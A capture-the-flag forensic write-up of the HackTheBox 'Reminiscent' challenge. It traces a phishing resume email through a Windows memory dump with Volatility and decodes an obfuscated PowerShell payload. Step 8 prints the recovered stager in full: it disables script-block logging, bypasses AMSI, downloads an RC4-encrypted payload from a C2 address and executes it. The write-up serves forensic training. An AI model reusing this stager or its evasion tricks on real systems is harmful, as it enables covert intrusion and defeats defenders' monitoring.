HackTheBox – Reminiscent Write Up

Tools:

- Volatility (Kali Linux)
- Base64 Encrypt&Decrypt tool (https://www.base64decode.org/)

Walkthrough:

Step	Description
1	Unzip the files from the zip file. The files extracted are "flounder-pc-memdump.elf", "imageinfo.txt" and "Resume".
2	The contents of the "Resume" file are shown below. Return-Path: <bloodworm@madlab.lcl> Delivered-To: madlab.lcl-flounder@madlab.lcl Received: (qmail 2609 invoked by uid 105); 3 Oct 2017 02:30:24 -0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="=_a8ebc8b42c157d88c1096632aeae0559" Date: Mon, 02 Oct 2017 22:30:24 -0400 From: Brian Loodworm <bloodworm@madlab.lcl> To: flounder@madlab.lcl Subject: Resume Organization: HackTheBox Message-ID: <add77ed2ac38c3ab639246956c25b2c2@madlab.lcl> X-Sender: bloodworm@madlab.lcl Received: from mail.madlab.lcl (HELO mail.madlab.lcl) (127.0.0.1) by mail.madlab.lcl (qpsmtpd/0.96) with ESMTPSA (ECDHE-RSA-AES256-GCM-SHA384 encrypted); Mon, 02 Oct 2017 22:30:24 -0400 --=_a8ebc8b42c157d88c1096632aeae0559 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Hi Frank, someone told me you would be great to review my resume.. Could you have a look? resume.zip [1] Links: ------ [1] http://10.10.99.55:8080/resume.zip --=_a8ebc8b42c157d88c1096632aeae0559

	Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=UTF-8 <html><head><meta http-equiv=3D"Content-Type" content=3D"text/html; charset= =3DUTF-8" /></head><body style=3D'font-size: 10pt; font-family: Verdana,Gen= eva,sans-serif'> <div class=3D"pre" style=3D"margin: 0; padding: 0; font-family: monospace">= Hi Frank, someone told me you would be great to review my resume.. c= uold you have a look? resume.zip </body></html> --=_a8ebc8b42c157d88c1096632aeae0559— ➔ The hint here leads to searching for the resume file mentioned in the email.
3	Based on the previous hint, the volatility tool was used to view the processes contained within the "flounder-pc-memdump.elf" with the command "volatility -f /root/Downloads/reminiscent/flounder-pc-memdump.elf --profile=Win7SP1x64 psscan --output=dot --output-file=test.txt" From reviewing the processes output in "test.txt", certain processes were found to be suspicious such as "VBoxTray.exe", "VBoxService.exe", and "powershell.exe". **The profile "Win7SP1x64" was taken from the "imageinfo.txt" file.
4	Volatility filescan was performed to find the resume file with the command "volatility -f /root/Downloads/reminiscent/flounder-pc-memdump.elf --profile=Win7SP1x64 filescan | grep resume" The results returned: 0x000000001e1f6200 1 0 R--r-- \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk 0x000000001e8feb70 1 1 R--rw- \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk
5	The discovered files were extracted through using Volatility with the command "volatility -f /root/Downloads/reminiscent/flounder-pc-memdump.elf --profile=Win7SP1x64 dumpfiles -Q 0x000000001e1f6200 -D ."

	The extracted files are "file.None.0xfffffa80017dcc60.vacb" and "file.None.0xfffffa80022ac740.dat".
6	From viewing the "file.None.0xfffffa80022ac740.dat" file, the text was found to be encoded in Base64 based on the text as shown below. $ r = [T e x t . E n c o d i n g] : : A S C I I . G e t S t r i n g ([C o n v e r t] : : F r o m B a s e 6 4 S t r i n g
7	The string of text was decoded from Base64, and there was another set of cipher text do be decoded. From the decoded text, it was found that the 2nd set of text was also encrypted in Base64. $stP,$siP=3230,9676;$f='resume.pdf.lnk';if(-not(Test-Path $f)){$x=Get-ChildItem -Path $env:temp -Filter $f -Recurse;[IO.Directory]::SetCurrentDirectory($x.DirectoryName);}$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';$b64=New-Object byte[]($siP);$lnk.Seek($stP,[IO.SeekOrigin]::Begin);$lnk.Read($b64,0,$siP);$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);$scB=[Text.Encoding]::Unicode.GetString($b64);iex
8	Remove the "." characters in the cipher text to decode the text. The result of decoding the text is shown below: $GroUPPOLiCYSEttINGs = [rEF]ASseMBLYGEtTypE('SystemManagementAutomationUtils')"GEtFIE`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')GETValUe($nulL);$GRouPPOlICySeTTiNgS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;$GRouPPOLICYSEtTingS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;[Ref]AsSemBlyGeTTyPE('SystemManagementAutomationAmsiUtils')|?{$_}\|%{$_GEtFieLd('amsiInitFailed','NonPublic,Static')SETVaLuE($NulL,$True)};[SysTemNeTSErVIcePOIntMAnAgER]::ExpEct100COnTinuE=0;$WC=NEW-OBjEcT SysTEMNEtWeBClIEnt;$u='Mozilla/50 (Windows NT 61; WOW64; Trident/70; rv:110) like Gecko';$wCHeaDerSAdd('User-Agent',$u);$WcPRoXy=[SysTeMNETWebRequEst]::DefaULtWeBPROXY;$wCPRoXYCREDeNtIaLS = [SYSTeMNETCreDEnTiaLCaChe]::DeFauLTNEtwOrkCredentiAlS;$K=[SYStEMTextENCODIng]::ASCIIGEtBytEs('E1gMGdfT@eoN>x9{]2F7+bsOn4/SiQrw');$R={$D,$K=$ArgS;$S=0255;0255|%{$J=($J+$S[$_]+$K[$_%$KCounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxoR$S[($S[$I]+$S[$H])%256]}};$wcHEAdErsADD("Cookie","session=MCah

	uQVfz0yM6VBe8fzV9t9jomo=");$ser='http://10109955:80';$t='/login/processphp';$flag='**HTB{Please decrypt yourself ☺}**';$DatA=$WCDoWNLoaDDATA($SeR+$t);$iv=$daTA[03];$DAta=$DaTa[4$DAtaLenGTH];-JOIN[CHAr[]](& $R $datA ($IV+$K))|IEX

Flag is HTB{Please decrypt yourself ☺}